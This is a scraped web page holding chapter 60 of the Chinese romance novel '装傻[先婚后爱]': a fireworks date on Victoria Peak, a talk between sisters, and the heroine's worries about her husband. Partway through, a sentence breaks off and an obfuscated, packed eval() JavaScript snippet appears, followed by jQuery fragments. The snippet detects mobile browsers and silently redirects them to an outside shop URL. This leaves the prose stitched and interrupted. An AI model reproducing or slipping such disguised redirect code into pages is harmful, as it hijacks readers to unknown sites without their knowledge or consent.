文趣网 > 都市小说 > 装傻[先婚后爱] > 60. 太平山焰火
    维港焰火的最佳观测地点之一是太平山。凭栏远眺,整个港口尽收眼底。

    虽然徐悠不是第一次来,但以这样独特的方式降落在山顶,还是初体验。

    观景平台已经被清空,陈怀瑾扶着徐悠站稳,身后两个随行助理识趣地转过身。

    落日在遥远的天际沉沉坠下,晚风带着一丝凉意。

    徐悠缩缩肩膀,陈怀瑾拿来羊毛披肩围住她,隔着柔软织物摩挲着瘦弱的肩膀,“嫌冷可以去室内。”

    夕阳在双颊擦上两抹绯红,徐悠晃晃脑袋,碎发尽数甩在身后。

    “不,晚一点儿再说,我要看日落。”

    自从决定走回过去,徐悠的勇气与果敢又回来了。

    随着华济股价飙升,陈怀瑾的身价也水涨船高,媒体纷纷猜测,这段只维持了几个月的婚姻还能持续多久。

    毕竟拍卖会后,两人鲜少合体在公众场合露面,各方名媛也纷纷伺机而动,希望在徐悠地位不稳之时取而代之。

    而陈怀瑾在这风口浪尖的时刻动用直升机、包下观景平台的方式高调炫耀,徐悠当然不能放过机会,要好好享受。

    两个人就这样静静地共同望向太阳西沉的方向。距离烟火表演还有段时间,可谁都没说话,仿佛这就是她们一直以来的相处方式。

    陈怀瑾从背后抱着她。

    两个人的心跳在同侧,温热蓬勃地抵御越来越凉的山风。

    最终还是顾念徐悠身体尚未痊愈,陈怀瑾硬拉着她到观景台室内看烟火。

    这样做的结果自然是少不得听些抱怨。

    徐悠一会儿嫌太远,看得不够真切;一会儿嫌只有两个人,不够热闹……简直与楼顶平台判若两人。

    陈怀瑾笑着揽她在怀里,柔声道,“耐心点儿。”徐悠只能绷着唇,心不在焉地靠在男人怀里。

    这次焰火比跨年那次持续的时间要长,但比春节要短。

    眼看着接近尾声,徐悠讪讪地扯扯男人衣襟,说了声走吧。

    谁知,陈怀瑾在她唇边吻了下,拉着她沿刚下来的楼梯返回到露天平台。

    男人正面抱着她,抬头望着墨蓝色星空。

    徐悠也好奇地打量,这是欣赏夜景吗?

    突然,哨子般嘹亮的一声鸣响,夜空瞬间亮如白昼。

    徐悠这一刻茫然又惊喜。

    她一眨不眨地望着不断蹿升的火花,原来这才是属于她的焰火。

    她看焰火,陈怀瑾看着她。

    两人正面相拥,男人的目光比绚烂的烟火更夺目。

    无数银花在头顶炸开,汇聚成美妙图案,簇拥碰撞和落下时变幻不同颜色,像无数颗星星穿越大气层只为拥抱她们而来。

    她双臂环上住陈怀瑾肩膀,轻轻说了声谢谢。

    陈怀瑾克制地吻了吻她面颊,低声说,“准备好了?”

    徐悠看他,眼里还有飞火流转,缓缓点点头。

    他们都知道,被遗忘的那段时光里不仅仅有美好烟火,还会有漆黑的夜晚。

    但只要心中还亮着星星,就不怕迷路。

    这是徐悠忘记陈怀瑾后的第一个吻。

    很轻,他舍不得弄疼她。

    很热,她的呼吸灼伤他鼻尖。

    漫天星火还在闪耀,而忘我的两个人再也无心观赏。

    她只吻着他,呼吸他的味道。

    舌|尖引渡,陈怀瑾终于忍不住闯进来。

    这一刻,悸动的心跳快要冲破胸膛,她模糊的意识中仿佛有一个人,有一个吻与此时此刻重叠。

    原来她们曾经如此美好而难忘。

    这,不该忘。

    绵密的呼吸越来越胶着,如晚风纵着山势越来越汹涌。

    陈怀瑾横抱起快要倒下的她,嗔道,“就这点儿出息。”

    猫挠似的一掌扑过来,他只偏了下脖子就俯身再次吻上。

    徐悠鼻尖太凉,陈怀瑾不敢停留太久,天际恢复暗沉时,就抱着她再次返回观景平台。

    嫌直升机碍事,两人一落地陈怀瑾立刻命令飞走。两人坐缆车下山,再驱车回家。

    沿着皇后大道东行驶一段,路口转弯绕上山路,在一幢古朴的法式庭院前停下。

    管家打开门,陈怀瑾牵着徐悠,步行进入庄园。

    窗上印着一抹高瘦的影子,有人盯着,徐悠没有车里放得开,任由陈怀瑾拉着手,乖乖地去踩老石板上的影子。

    不久前,她对这影子还很模糊;现在,已经实实在在地牵在手里。

    姐夫蒋绍西先一步迎出来,把陈怀瑾请进书房。

    大姐徐意陪着徐悠上楼,招呼佣人把宵夜照着徐悠这一份的样子再送两份去给丈夫和客人。

    男人聊起事来,不知道要多久。

    吃饱喝足的徐悠瘫软在床边,哼哼唧唧的,不知是累了还是舒服。徐意轻轻压在床沿,手背贴贴她额头才放心。

    “要走了?”

    她腾地坐起,“你知道?”

    不过想想也对。陈怀瑾那样一个办事妥帖的人,一定是征询过大姐的意见才带她回京的。

    “不会去太久,你放心。开学前就回来。”

    徐意不甚欣喜地点点头。

    “陈怀瑾如今倒是稳重了。”

    徐悠眼神透着懵懂。她对过去的陈怀瑾了解得太少。

    徐意本想说说从前厉锦城和孟庆余的遭遇。可那段时光对徐悠来说算不得开心,只能改口说实验室已经被三家美国公司看好。

    消息一出,股价再一轮飙升,有业内人士猜测如果交易成功,成交价最低都要在20亿。

    “外界风言风语,但他依然……和低调,按部就班地做自己的事。”

    当然,斥资2亿拍下妻子的慈善捐赠这件事除外。

    “我知道,顺,不妄喜;逆,不惶馁;安,不奢逸;危,不惊惧;胸有惊雷而面如平湖者,可拜上将军!”①

    看来,蒋绍西想借此机会与陈怀瑾共谋大事。

    徐悠眨巴眨巴眼睛又躺回去。她还真是没有亏待自己。

    莫名其妙给找了个能赚大方,稳重踏实,身材给力的老公。

    想想车上陈怀瑾的隐忍克制,她突然冒出个念头,再次坐起来。

    “姐,我俩到什么地步了,你知道吗?”

    “你问我?”

    徐意的一个眼神让她有些后怕。

    京市那段时光堪称最乐不思蜀的日子。不是有陈怀瑾隔三差五地报备,真不知道她记不记得香江还有个姐姐了。

    不过妹妹失忆,徐意倒不好计较,淡淡地回了个不清楚。

    徐意都不清楚,应该就是没发生过吧。

    两人又聊聊最近哪个名媛抢了谁的风头,某集团千金去巴黎观秀坐在第一排,颜值秒杀一众明星……最后说到回程日期,徐意还要让她带着礼物回去给两位长辈,以示两家常来常往。

    徐意父亲身体一直不佳。徐镇远和徐文斌被关在康复医院,这辈子怕是出不来了。

    与陈家

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843612|207277||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    长辈沟通的事,自然只能由徐意出面。

    姐姐离开后,徐悠脑海里依旧盘旋着那个问题,不死心地给陈思瑜发了消息过去。

    之所以选择陈思瑜,是因为听陈怀瑾说那段时间两人关系不错,应该无话不谈。

    而与安安的聊天记录显示根本没提到这方面内容。

    陈思瑜变成了唯一知道真相的旁观者。

    【我哥?没有,他不行的。】

    不行!

    徐悠眼睛几乎要掉出来。

    那种身材,那种鼻子居然会不行?

    【你确定?】

    陈思瑜噼里啪啦地把两人当初的乌龙事件添油加醋地发了过去。放下手机和对面正喝酒的安安击掌欢呼。

    “搞定!”

    “Yeah!让她瞒着我。”

    举杯庆祝的两个人丝毫不管徐悠死活。

    她人躺在床上,心却早已经飞到天上。

    闭上眼睛就浮现车里的画面。

    温柔缠绵的陈怀瑾仿佛要把这段时间的缺失都补回来,不停地吻她。

    可关键时刻又总是停下。

    徐悠以为那是隐忍克制,毕竟在车上。即便是贴身助理,男人也还顾及她的感受。

    这多贴心。

    现在却越想越不对劲。

    男人滑动的喉结,颈侧绷起的血管……将近四个月没见面,不该……

    徐悠越想越难过。整个人陷进被子里,憋闷得喘不过气。

    陈怀瑾走时,徐悠房里灯还亮着。他不敢贸然上去,只能请徐意去看看她睡着没。

    徐意敲了半天门都无人应答,想来是睡着忘记关灯。返身下来就和蒋绍西一起把陈怀瑾送出门。

    临别前,徐意对妹妹返回京市依旧担心。

    “其实她记不起过去也没关系,爷爷和二伯对她算不上好。还不如让她认为自己还是自由的,快乐的。余下的事情有我来做。”

    越秀堂已经步入正轨。如果不是孔家害得徐悠出车祸,徐意已经筹备嫁妆了。

    “这次我承诺的一定做到。不会再让她出事。”

    陈怀瑾少有地躬身垂首。

    一向孤傲的男人做到这种地步,徐意也不好反驳,“你也放心,悠悠的嫁妆不会比港城任何豪门逊色。”

    “你知道我不在意这些。”

    徐意还有什么不知道,她淡淡笑笑,“这些本也是徐家欠她的。”

    如果不是徐镇远和徐文斌把越秀堂搞得一团糟。以徐悠的资质,怎么会只困在小小的港城。

    飞机穿破云层时,徐悠抱着小兔子,半张脸陷在真皮椅背里。

    陈怀瑾正和助理沟通落地后急需落实的工作安排。

    男人磁性而低沉的声音像一只手,牢牢抓着她耳朵,怎么也忽略不掉。

    徐悠越听越伤心,还偷偷瞄一眼。

    手指修长,手背上筋脉绞缠着肌肉,力量感十足。肩宽腰窄,后背线条流畅收拢进腰线,脑补就很惹火。

    这样的老公,居然不行!

    简直是活受罪。

    交待完毕,陈怀瑾过来坐下,捋捋她有些凌乱的头发,问她累不累,要不要去床上躺一会儿。

    怕舟车劳顿,徐悠身体吃不消,这一次陈怀瑾动用了私人飞机。吃食一应齐全,还有私密性极好的休息区。

    可徐悠四下看看,突然悲从中生,扑到陈怀瑾肩上哭起来,一边抽抽一边说,“你要对我好一点儿!”

    陈怀瑾:!?